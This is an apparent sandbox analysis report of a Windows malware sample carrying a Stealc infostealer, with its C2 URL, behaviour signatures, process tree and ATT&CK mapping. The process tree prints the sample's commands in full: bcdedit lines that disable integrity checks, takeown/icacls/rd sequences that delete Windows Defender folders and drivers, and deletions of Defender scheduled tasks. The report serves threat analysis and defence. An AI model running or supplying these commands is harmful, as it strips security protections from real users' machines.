Analysis
- max time kernel
150s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
13/09/2026, 16:17
General
- Target 2026-09-13_383f0c5119f612aa45b9691a7c47aef4_cobalt-strike_icedid_satacom_vidar.exe
- Size 17.1MB
- Sample260913-trdhtazbpf
- SHA256 181b80c3a23bc369270a50c892104d258aa0805ea03efadc8e4eb3317ae23417
Score
10/10
Malware Config
Extracted
Family
-
stealc
Botnet
-
dropped
C2
-
http://193.178.158.55/auth.php
Attributes
-
url_path
/auth.php
rc4.traffic_key
rc4.plain
Signatures
- Family: Stealc
Stealc is an infostealer written in C++.
- Detects Stealc stealer Version 3 1 IoCs
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
- Modifies Windows Defender Real-time Protection settings 3 TTPs 20 IoCs
- Modifies security service 2 TTPs 8 IoCs
- Detects Reflective DLL injection artifacts 2 IoCs
- Detects executables (downlaoders) containing URLs to raw contents of a paste 1 IoCs
- Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
- Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
- Drops file in Drivers directory 1 IoCs
- Modify Registry: Disable Windows Driver Blocklist 2 TTPs 1 IoCs
Disable Windows Driver Blocklist via Registry.
- Possible privilege escalation attempt 18 IoCs
- Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
- Boot or Logon Autostart Execution: LSASS Driver 2 TTPs 1 IoCs
Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems.
- Executes dropped EXE 11 IoCs
- Modifies file permissions 1 TTPs 18 IoCs
- Windows security modification 2 TTPs 3 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
- Modifies Security services 2 TTPs 4 IoCs
Modifies the startup behavior of a security service.
- Drops file in Program Files directory 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 6 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Modifies registry class 5 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of UnmapMainImage 1 IoCs
- Suspicious use of WriteProcessMemory 52 IoCs
- System policy modification 1 TTPs 2 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of UnmapMainImage
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2026-09-13_383f0c5119f612aa45b9691a7c47aef4_cobalt-strike_icedid_satacom_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-09-13_383f0c5119f612aa45b9691a7c47aef4_cobalt-strike_icedid_satacom_vidar.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\k77ranr2.exe"C:\Users\Admin\AppData\Local\Temp\k77ranr2.exe"4⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Modifies security service
- Drops file in Drivers directory
- Modify Registry: Disable Windows Driver Blocklist
- Sets service image path in registry
- Boot or Logon Autostart Execution: LSASS Driver
- Executes dropped EXE
- Windows security modification
- Modifies Security services
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\SYSTEM32\bcdedit.exebcdedit.exe /set {current} loadoptions DDISABLE_INTEGRITY_CHECKS5⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\SYSTEM32\bcdedit.exebcdedit.exe /set {current} nointegritychecks on5⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\SYSTEM32\bcdedit.exebcdedit.exe /set {current} testsigning on5⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\SYSTEM32\bcdedit.exebcdedit.exe /set {current} disableelamdrivers yes5⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\SYSTEM32\takeown.exetakeown.exe /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls.exe "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t /c /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c rd /s /q "C:\ProgramData\Microsoft\Windows Defender"5⤵
- Executes a command shell one-liner
-
-
C:\Windows\SYSTEM32\takeown.exetakeown.exe /f "C:\Program Files\Windows Defender" /r /d y5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls.exe "C:\Program Files\Windows Defender" /grant administrators:F /t /c /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c rd /s /q "C:\Program Files\Windows Defender"5⤵
- Drops file in Program Files directory
- Executes a command shell one-liner
-
-
C:\Windows\SYSTEM32\takeown.exetakeown.exe /f "C:\Program Files (x86)\Windows Defender" /r /d y5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls.exe "C:\Program Files (x86)\Windows Defender" /grant administrators:F /t /c /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c rd /s /q "C:\Program Files (x86)\Windows Defender"5⤵
- Drops file in Program Files directory
- Executes a command shell one-liner
-
-
C:\Windows\SYSTEM32\takeown.exetakeown.exe /f "C:\Program Files\Windows Defender Advanced Threat Protection" /r /d y5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls.exe "C:\Program Files\Windows Defender Advanced Threat Protection" /grant administrators:F /t /c /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c rd /s /q "C:\Program Files\Windows Defender Advanced Threat Protection"5⤵
- Executes a command shell one-liner
-
-
C:\Windows\SYSTEM32\takeown.exetakeown.exe /f "C:\Windows\ELAMBKUP" /r /d y5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls.exe "C:\Windows\ELAMBKUP" /grant administrators:F /t /c /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c rd /s /q "C:\Windows\ELAMBKUP"5⤵
- Executes a command shell one-liner
-
-
C:\Windows\SYSTEM32\takeown.exetakeown.exe /f "C:\Windows\system32\drivers\WdFilter.sys" /a5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls.exe "C:\Windows\system32\drivers\WdFilter.sys" /grant administrators:F /grant SYSTEM:F /c /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown.exe /f "C:\Windows\system32\drivers\WdBoot.sys" /a5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls.exe "C:\Windows\system32\drivers\WdBoot.sys" /grant administrators:F /grant SYSTEM:F /c /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown.exe /f "C:\Windows\system32\drivers\WdNisDrv.sys" /a5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls.exe "C:\Windows\system32\drivers\WdNisDrv.sys" /grant administrators:F /grant SYSTEM:F /c /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\takeown.exetakeown.exe /f "C:\Windows\system32\drivers\WdDevFlt.sys" /a5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\icacls.exeicacls.exe "C:\Windows\system32\drivers\WdDevFlt.sys" /grant administrators:F /grant SYSTEM:F /c /q5⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /F5⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /F5⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /F5⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /F5⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Unknown" /F5⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks.exe /Delete /TN "\Microsoft\Windows\Windows Defender\Windows Defender Update Configuration" /F5⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c schtasks.exe /Query /FO CSV /V > "C:\Users\Admin\AppData\Local\Temp\~DF4C2A1B.tmp" 2>&15⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks.exe /Query /FO CSV /V6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\h7t31i0p.exe"C:\Users\Admin\AppData\Local\Temp\h7t31i0p.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
-
C:\Users\Admin\AppData\Local\Temp\dlxyr2nm.exe"C:\Users\Admin\AppData\Local\Temp\dlxyr2nm.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
-
-
C:\Users\Admin\AppData\Local\Temp\no4qzdsg.exe"C:\Users\Admin\AppData\Local\Temp\no4qzdsg.exe"4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\s9wlf313.exe"C:\Users\Admin\AppData\Local\Temp\s9wlf313.exe"4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\3r4jewq4.exe"C:\Users\Admin\AppData\Local\Temp\3r4jewq4.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\syshost.exeC:\Users\Admin\AppData\Roaming\syshost.exe5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
-
-
C:\Users\Admin\AppData\Local\Temp\MangoKeywordsGUI.exe"C:\Users\Admin\AppData\Local\Temp\MangoKeywordsGUI.exe"4⤵
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\wlrmdr.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Services\wlrmdr.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\svchostvgs.exeC:\Users\Admin\AppData\Roaming\svchostvgs.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\syshost.exe"C:\Users\Admin\AppData\Roaming\syshost.exe"1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
3LSASS Driver
1Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Privilege Escalation
Boot or Logon Autostart Execution
3LSASS Driver
1Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Defense Evasion
File and Directory Permissions Modification
2Windows File and Directory Permissions Modification
1Impair Defenses
5Disable or Modify Tools
3Modify Registry
9Replay Monitor
Loading Replay Monitor...
Downloads
3r4jewq4.exe
MangoKeywordsGUI.exe
config.yml
dlxyr2nm.exe
h7t31i0p.exe
k77ranr2.exe
no4qzdsg.exe
s9wlf313.exe
~DF4C2A1B.tmp
memory/1108-84-0x0000000006670000-0x000000000669D000-memory.dmp
memory/1108-60-0x0000000003A70000-0x0000000003A71000-memory.dmp
memory/1108-33-0x0000000180000000-0x0000000180005000-memory.dmp
memory/1108-68-0x0000000003AB0000-0x0000000003ADD000-memory.dmp
memory/1108-77-0x0000000003BA0000-0x0000000003BA1000-memory.dmp
memory/1108-76-0x0000000003AF0000-0x0000000003AF1000-memory.dmp
memory/1108-70-0x0000000003AB0000-0x0000000003ADD000-memory.dmp
memory/1108-67-0x0000000003A80000-0x0000000003AA8000-memory.dmp
memory/1108-75-0x0000000003AE0000-0x0000000003AE1000-memory.dmp
memory/1108-82-0x0000000006670000-0x000000000669D000-memory.dmp
memory/4332-21-0x00000218F9CE0000-0x00000218F9CE2000-memory.dmp
memory/5592-96-0x0000011840C40000-0x0000011840C41000-memory.dmp
memory/5592-101-0x0000011840D90000-0x0000011840D92000-memory.dmp
memory/5592-99-0x0000011840D90000-0x0000011840D92000-memory.dmp
memory/5592-98-0x0000011840C40000-0x0000011840C41000-memory.dmp